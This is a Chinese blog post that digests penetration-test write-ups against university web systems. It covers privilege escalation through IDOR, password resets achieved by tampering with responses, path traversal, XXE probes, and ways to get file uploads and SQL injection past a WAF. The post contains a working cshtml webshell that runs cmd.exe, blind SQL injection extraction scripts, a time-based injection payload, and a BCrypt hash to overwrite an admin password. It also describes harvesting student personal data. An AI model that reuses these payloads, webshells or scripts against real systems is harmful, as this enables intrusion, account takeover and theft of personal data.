近期學習文章的整理(超級干貨總結分享)


題記

    最近在edusrc上吃瓜,看大佬們互懟,又通過大佬們的名字發現個安全團隊的博客,前有小口,仿佛若有光,大量的騷姿勢文章讓我獲益無窮,相見恨晚,故腦中想法盛然,整理成博,總結文章,讓我們在前方相遇。最近看到一個新手群的直播,可能是我的技術已經步入初級了,毫無營養,加油吧,少年們。

一、小小小月球大佬的分享

1.1 記一次和廠家相愛相殺

    文章地址:http://0dayhack.net/index.php/25/

    內容:http://xxxxx/index.html?userNo=xxxx鏈接可以直接登錄后台,fofa收集站點,掃備份。黑盒測試發現接口。在接口處通過修改userid可以返回用戶信息。通過把鏈接參數修改為管理員的實現進入管理員后台,在后台處發現ssrf,ssrf特征為http://xxxxxxx/api/imageRe?path=dnslog,廠家修復后再次測試,增加了登陸者身份關系校驗,再次繞過,使用空值替換rm參數,形如userId=1&menuRole=SYS004&roleNo=SYS004&cal=381&rm=

    總結:1、修改url參數可造成越權;2、后台留意ssrfsql注入等漏洞;3、注意接口安全,有些情況可以刪除參數繞過。

1.2 記一次文件上傳繞過Error 500

    文章地址:http://0dayhack.net/index.php/67/

    內容:首先在路邊撿一個賬號密碼,登錄后找敏感接口與上傳點,發現只是前端檢測,成功上傳jsp但是java類無法編輯,其他語法可以解析,jsp聯合html可以執行

    代碼:

<%@ page language="java" contentType="text/html; charset=utf-8"

pageEncoding="utf-8" import="java.io.*"%>

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8">

<title>Insert title here</title>

</head>

<body>

內容

</body>

</html>

    執行:.jsp?cmds=ipconfig

    總結:文件上傳后無法解析可以思考下換種編碼配合。

1.3 從零開始挖edusrc(一)

    文章地址:http://0dayhack.net/index.php/329/

    內容:(1)信息收集:資產收集,敏感信息收集,旁站C段收集,指紋收集,掃描的話推薦gody(指紋信息)加谷歌語法。(2)一個簡單的邏輯漏洞,谷歌語法:site:域名 intext:登錄|注冊|找回密碼|重置密碼

    一個任意密碼重置漏洞,注冊2個用戶,修改密碼抓包,看到id后不要盲目改id,嘗試登錄另一個號抓包,對比區別測試。

    總結:活用信息收集,常見漏洞挖不到的話嘗試邏輯漏洞,邏輯漏洞最后2個號測試,不要一上來就改,熟悉發包流程。

1.4 從零開始挖edusrc(二)-任意用戶密碼重置

    文章地址:http://0dayhack.net/index.php/361/

    內容:1、在測試邏輯的時候可以抓包上個操作的返回包進行對比,然后替換。比如你填寫正確的驗證碼返回包是true,但現在你隨便填寫的驗證碼返回是false抓返回包吧false改成true,成功找回。

    2、把錯誤的返回包改成{}會返回正確,但是后端驗證了pin碼,把pin碼設置為空,直接跳過校驗。檢測驗證碼有可能是判斷pin=xxxx,但=空之后else直接跳過了?不判斷參數完整性進行繞過。

    總結:改響應包或者刪除參數測試邏輯漏洞。

1.5 從零開始挖edusrc(三)-任意文件下載

    文章地址:http://0dayhack.net/index.php/383/

    內容:https://xxxxxxxxx/NECBSHistory/downloadFileByName?fileName=uploadNEFormAttachPictureWord_7290bb66-4c60-41fc-b701-4940b8560491.jsp&propertyName=uploadNEFormAttachPictureWord這種路徑很可能存在任意文件下載,發現地址在上傳文件的地方,上傳完你可以下載,查看鏈接就是這個地址。

    下載測試:GET /NECBSHistory/downloadFileByName?fileName=./../../../../WEB-INF/web.xml&propertyName=uploadNEFormConsignerDataWord與GET /NECBSHistory/downloadFileByName?fileName=./../../../../WEB-INF/classes/config/applicationContext.xml&propertyName=uploadNEFormConsignerDataWord HTTP/1.1

    總結:注意上傳文件的地方,一不小心就發現個大家伙。

1.6 記一次某開BypassWAF–>GETSHELL

    文章地址:http://0dayhack.net/index.php/455/

    內容:首先測試賬號登錄,訪問個人中心修改頭像,先正常思路上傳文件,上傳文件會先返回一串加密后的值ticket,判斷文件名是通過filename+ticket檢測,然后就先上傳webshell文件獲得對應值,發現有安全狗,.html.aspx繞過安全狗,但是上傳aspx不行,於是上傳.html.ashx,記得免殺。

    總結:賬號很重要,上傳文件時候aspx不行可以嘗試ashx。

1.7 浙大某站BypassWAF–>GETSHELL

    文章地址:http://0dayhack.net/index.php/646/

    內容:1.nodejs+java+ssh前后端分離上傳,先上傳圖片得到jpg,改成jsp攔截,jspx不攔截但是訪問地址報錯(內容檢測),2.繞過內容檢測,jspx是以xml語法來書寫jsp的文件,掏出jspx大寶貝一頓上傳繞過方法jspx+垃圾字符繞過(在注釋里填充大量垃圾字符可以繞過檢測)。

    總結:java站嘗試jspx的繞過,免殺方法:垃圾字符填充。

*1.8 某開的一次SQL注入(bypassWAF)

    文章地址:http://0dayhack.net/index.php/735/

    內容:來自搜索框的SQL注入,如果沒waf,可以抓包加*,sqlmap梭哈。這里有waf,手工測試,單引號報錯,雙引號正常,and 攔截,證明存在注入。大寫+/**/繞過。

    總結:單引號雙引號測是否有洞,get新姿勢,以前我都是-0測的。

*1.9 一次簡單的XXE漏洞挖掘

    文章地址:http://0dayhack.net/index.php/1008/

    內容:登錄框,先測試弱口令,無果后發現xml傳輸,也返回xml。判斷是否存在xml注入,先輸入<root>報錯,然后<root></root>,返回xml多半存在漏洞。

驗證漏洞:

Poc

組成一個內部聲明DTD,這里直接不需要聲明xml

<!DOCTYPE root [

<!ENTITY % remote SYSTEM "file:///">

%remote;]>

dnslog

<!DOCTYPE root [

<!ENTITY % remote SYSTEM "dnslog">

%remote;]>

    總結:加深了我對XXE的理解。

1.10 記一次交大簡單的getshell(bypass)

    文章地址:http://0dayhack.net/index.php/1113/

    過程:進入后台(果然賬號密碼限制了我的想象力,大佬在路邊隨便都能撿到賬號密碼),找到上傳點,百度搜索編輯器,后綴繞過:'ashx和ashx空格,都可繞過。內容檢測:垃圾字符+馬帶走。

    總結:佛了,hacker就是hacker。

1.11 又又又是文件上傳(base64上傳)

    文章地址:http://0dayhack.net/index.php/1365/

    過程:找到頭像上傳點,先正常走一遍,發現base64上傳。返回png文件,改成ashx發現返回ashx文件。把馬轉換成base64替換圖片base64內容,執行成功。

    總結:原來還能這么干,圖片轉文件。

1.12 從零開始挖edusrc(四)-任意文件上傳

    文章地址:http://0dayhack.net/index.php/1603/

    過程:上傳文件直接拿shell,翻翻目錄,找到管理員后台與PHPmyadmin,找配置文件發現賬號密碼,利用日志寫入一句話木馬,翻到管理員發現密碼BCrypt加密,百度隨便找個BCrypt加密替換上去(記得要保存管理員的,干完要還回去,畢竟只蹭蹭)$2a$10$2gP3nFQ3eajNzJayX2E5GuQJsEOMIGXl4hWDKdXpeX9pQBUwGJW7m這是123456。進后台上傳文件又getshell,並不是頭像上傳接口了。

    總結:翻翻配置文件沒准有驚喜,實在不行直接改密碼進后台。

二、望海寺快下課

2.1 接口Fuzz的行為藝術

    文章地址:http://0dayhack.net/index.php/789/

    過程:1、前端源代碼中發現一處js文件,login.js,其中夾雜着ajax的請求,其中有一處的checklogin的接口,傳參的ID為stuID和schooldID還有Passwd,以此可見此處接口是進行身份驗證,回應包里面同時還有data數據,那未授權訪問后台概率性不大。同時會發現大部分行為驗證都是在此接口進行驗證,於是嘗試遍歷接口的目錄,由於知道passwd是用來checklogin的接口使用,就刪除其字段。只用stuID和schooldID。一下就跑出了一個getStudent的接口,同時並沒有進行鑒權,導致任何用戶發送指定的POST數據都可以獲取其中數據,正好stuID和schooldID是剛開始大部分接口都有使用到的,也就跑出數據。谷歌語法收集學號會返回內容。知道了此接口,fofa搜索其他站點,用此接口獲取其他學校的師生信息,登錄就業網,發現其個人絕大部分的信息乃至家庭住址。此系統密碼修改的地方還存在越權,雖然有cookie一些列的驗證,但是都是用來進行接口的傳參,並沒有用來鑒權,直接修改目標學號就可以完成任意密碼重置。2、請求一個anPhoneTrue的接口,傳參值usMobile,返回的是json格式的success:error。直接字典一上跑接口 ,跑出了一個anAdminList*****的接口(賬號的傳參值直接用F12看登錄框的html值),里面存在email,username和修改密碼最重要的手機號碼,當填入手機號的時候獲取驗證碼嘗試是否存在邏輯繞過的時候,居然發現 回應包里存在code,后續就是一樣的操作找上傳點,jsp免殺,有waf用<!– … –>來注釋掉隨便填充的垃圾數據導致waf檢測不到。

    總結:記得注意接口,getstudent這個接口是利用bp以post傳遞固定參數,對目標目錄下的文件進行字典爆破。

2.2 組合拳殺入教務系統

    文章地址:http://0dayhack.net/index.php/883/

    過程:登錄框測試:sql萬能密碼,查看登錄接口是否會返回敏感信息,邏輯繞過,弱口令。根據不同提示進行弱口令爆破,成功獲得2個用戶。建站用的是asp.net 在所有文件上傳處上了幾個asp ashx的免殺馬,都是無法解析。那就看看有沒有其他類型的漏洞,點擊編輯頁面 尋思着能否發現其他關於教師的敏感信息,發現居然存在口令, 直接利用F12修改一下input中的type類型數值為text。又用管理員賬號進行一些信息收集發現 默認密碼的提示,同時在那個F12大法的地方,你會發現教師的默認密碼為六個0。知道了這些信息,進行對其他系統的撞庫(我們撞庫肯定是利用一些測試用戶,或者系統內置的用戶),FOFA大法。打開另一個站,存在驗證碼,發現攔掉不發送,就不會刷新。這邊我們利用在上個系統中收集到類似內置用戶和測試用戶的賬號,密碼為六個0和默認密碼進行爆破,成功爆破出一個宿舍用戶。。

    總結:當一個站有成果或者有waf的時候,可以fofa找類似站點驗證。

2.3 記Lower-GetShell

    文章地址:http://0dayhack.net/index.php/1251/

    過程:摸到一個系統,發現存在sql,僅僅用了后端的一些關鍵字過濾,摸了一會兒發現可以,字節拼接+空格繞過+LIKE繞過。那個登錄框直接上sqlmap跑用一些tamper腳本可以跑出來,可以直接用xp_cmdshell。

三、AGONI

3.1 記一次對xxxedu的滲透測試

    文章地址:http://0dayhack.net/index.php/97/

    過程:爆破admin賬戶,弱口令無果,去注冊界面,選擇導師的時候出現測試用戶名,測試用戶登錄,修改密碼處id改為1越權變成管理員。測試未授權訪問刪除cookie,對比登錄前后cookie,構造cookie成功以超管登錄。

    總結:注冊界面嘗試尋找一些信息,多留意cookie的變化與構造。

3.2 記一次南開大學梅開三度

    文章地址:http://0dayhack.net/index.php/391/

    過程:發現南開某站點登陸界面可以枚舉用戶,且驗證碼攔截不會刷新。直接上burp枚舉用戶名,發現存在guest測試賬戶,且密碼為123456 。成功登陸之后,權限為普通用戶權限,測試了一波常見漏洞無果,發現上傳居然強改后綴。既然在這里毫無進展,fofa搜索同類型站點。找到一個類似測試站點,直接爆破admin賬戶。發現存在弱口令,直接以admin賬戶登錄,測試其余功能點,發現其大部分系統功能主要通過get傳參,將get傳參部分單獨拉出來拼接至url鏈接中,可正常訪問(這里需要登錄后改鏈接訪問)。越權添加用戶,可以操作。

    總結:可先測試同類型網站,事半功倍。

3.3 看我如何通過黑盒測試日下四個證書站

    文章地址:http://0dayhack.net/index.php/756/

    過程:登錄框,輸入一個不存在的用戶名,進行抓包測試。隨意輸入一個不存在的賬戶,登陸抓包單獨拉出來簡單測試一下sql 在用戶名處加一個單引號,報錯。存在waf,找一個無waf的站點跑payload。在登錄的站點測試功能抓包單獨拉出來,刪除cookie。訪問,1、越權查看smtp服務器賬戶密碼,2、查看所有賬戶,3、越權添加超管。這種意思就是在測試站抓包,修改域名什么的,造成直接修改目標域名的內容。

    總結:測試站點抓包修改請求,繞waf這方面不得不說冰蠍是真的好用啊,冰蠍不行那就臟字符+冰蠍,是真的秒啊。

3.4 記一次文件上傳多重bypass

    文章地址:http://0dayhack.net/index.php/1076/

    過程:在某查詢界面,隨手一加單引號,報錯,兩個單引號閉合無報錯信息,sql注入無疑。繼續fuzz一遍,發現目標存在waf,輸入一些關鍵字會被連接重置。不曉得是硬件還是雲waf哦,如果是雲waf的話可以通過查找真實ip進行運氣繞過。例如我之前那個同濟的站點就是通過查找真實ip地址進行繞過,另一種呢硬件waf的話,臟字節填充吧。fuzz一遍無果。既然到了這里,還是老規矩,先打其他沒有waf的站點搞出payload,再去手動fuzz構造payload:發現可以通過%oa%ob替換空格達到繞過的效果最終payload:1′);–%0a%0b%01%03%04%05%06%07%08%09;%0b%01%03%04%05%06%07%08%09–%0a%0b%01%03%04%05%06%07%08%09Waitfor%0b%01%03%04%05%06%07%08%09–%0a%0b%01%03%04%05%06%07%08%09Delay%0b%01%03%04%05%06%07%08%09–%0a%0b%01%03%04%05%06%07%08%09'00:00:5'%0b%01%03%04%05%06%07%08%09–%0a%0b%01%03%04%05%06%07%08%09–hhhh(只適用於mssql,原理參考鏈接:http://cnblogs.com/willingtolove/p/11160605.html),進入子站后台,找到上傳點,添加上傳類型,但是aspx上傳會過濾as,那我們就可以考慮一下aasspx 過濾攔截會過濾中間的as,之后會自動拼接a spx,形成aspx的后綴。但是waf站點不行,后思考aspx,net的站點應該是支持cshtml的馬的,成功但是只能執行特定命令。

    代碼:

@using System.CodeDom.Compiler;

@using System.Diagnostics;

@using System.Reflection;

@using System.Web.Compilation;

@functions {

string ExecuteCommand(string command, string arguments = null)

{

var output = new System.Text.StringBuilder();

var process = new Process();

var startInfo = new ProcessStartInfo

{

FileName = command,

Arguments = arguments,

WorkingDirectory = HttpRuntime.AppDomainAppPath,

RedirectStandardOutput = true,

RedirectStandardError = true,

UseShellExecute = false

};

process.StartInfo = startInfo;

process.OutputDataReceived += (sender, args) => output.AppendLine(args.Data);

process.ErrorDataReceived += (sender, args) => output.AppendLine(args.Data);

process.Start();

process.BeginOutputReadLine();

process.BeginErrorReadLine();

process.WaitForExit();

return output.ToString();

}

}

@{

var cmd = ExecuteCommand("cmd.exe", "/c whoami");

}

Output of the injected command (by Niemand):

@cmd

    總結:aspx.net站點嘗試cshtml馬。

四、其他

*4.1 簡單的sql注入與腳本的編寫與4.2 SQL注入-BOOL盲注-一個小細節 作者:太空人

    文章地址:http://0dayhack.net/index.php/1630/http://0dayhack.net/index.php/1724/

過程:第一篇:登錄框測試注入點,通過報錯知道是mysql數據庫,選擇時間盲注。cc=1234&pwd=456'and if((length(database())=8),sleep(5),0))–+&key=,了解了原理之后就可以自己編寫二分法腳本。第二篇:關注細節,有waf看返回正確與錯誤確定注入點,測試發現是mssql數據庫,因為ban了 waitfor delay。又經過手工測試發現一些沒被ban的函數1')and (ascii(substring('a',1,1))=97)--+正常payload 1')and (ascii(substring(({content}),{i},1))-{mid})<1--+。

    腳本1:

# -*- coding:utf-8 -*-

 

import requests

from requests import exceptions

 

url = 'http://ip/CheckUser'

 

def main():

result = ""

for i in range(1, 20):

low = 32

high = 128

while low < high:

mid = int((low + high) / 2)

content = "select user()"

sql = f"123'and if((ascii(substr(({content}),{i},1))<{mid}),sleep(5),0))-- "

data = {

"cc":'123456',

"pwd": sql,

"key":''

}

headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0", "Accept": "*/*", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Origin": "http://ip", "Connection": "close", "Referer": "http://ip"}

r = requests.post(url=url, data=data,headers=headers)

if r.elapsed.total_seconds() > 5:

high = mid

else:

low = mid + 1

print("[+] After changing we got {} to {}".format(low, high))

if low == high == 32:

print("[*] Result is: {}".format(result))

break

print("[+] Now has {}".format(i))

result += chr(int((high + low - 1) / 2))

print("[*] Result now is: {}".format(result))

 

if __name__ == '__main__':

main()

    腳本2:

# -*- coding:utf-8 -*-

import requests

url = "ip:/???Text="

def main():

result = ""

for i in range(1, 200):

low = 31

high = 128

while low < high:

mid = int((low + high) / 2)

content = "@@version"

sql = f"1')and (ascii(substring(({content}),{i},1))-{mid})<1--+"

payload = url+sql

response = requests.get(url=payload)

if "共18條數據" in response.text:

high = mid

else:

low = mid + 1

print("[+] After changing we got {} to {}".format(low, high))

if low == high == 128 or low == high == 31:

print("[*] Result is: {}".format(result))

break

print("[+] Now has {}".format(i))

result += chr(int((high + low) / 2))

print("[*] Result now is: {}".format(result))

if __name__ == '__main__':

main()

    總結:腳本我還是看得懂的。

3.5 記一次目錄遍歷帶來的驚喜

         文章地址:http://xz.aliyun.com/t/9418

         過程:瀏覽資源發現教育平台,首先嘗試弱口令,弱口令無果后的思路,1、fofa同類型站點爆破出賬戶,嘗試有沒有未授權漏洞什么的。2、爆破用戶名弱口令,獲得權限后深入測試。

         觀察返回包,發現不存在session等參數,這種大部分可以登錄繞過,換站點用登錄成功的賬戶密碼替換返回包,成功繞過限制。賬戶權限小並且無敏感操作嘗試上傳測試,首先上傳失敗。拿御劍開始目錄爆破,發現有目錄遍歷漏洞,發現上傳測試頁面,但是不返回文件路徑,發現是Windows,在文件后綴添加禁止的字符,系統報錯返回路徑。然后研究命名規則,但是上傳的目錄不可讀,嘗試目錄穿越,成功拿到shell。

         總結:爆破有時候有奇效。

總結

    Get到各種新姿勢,我說大佬們為啥都這么強,不說了,我去把我的通用漏洞整一波了。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM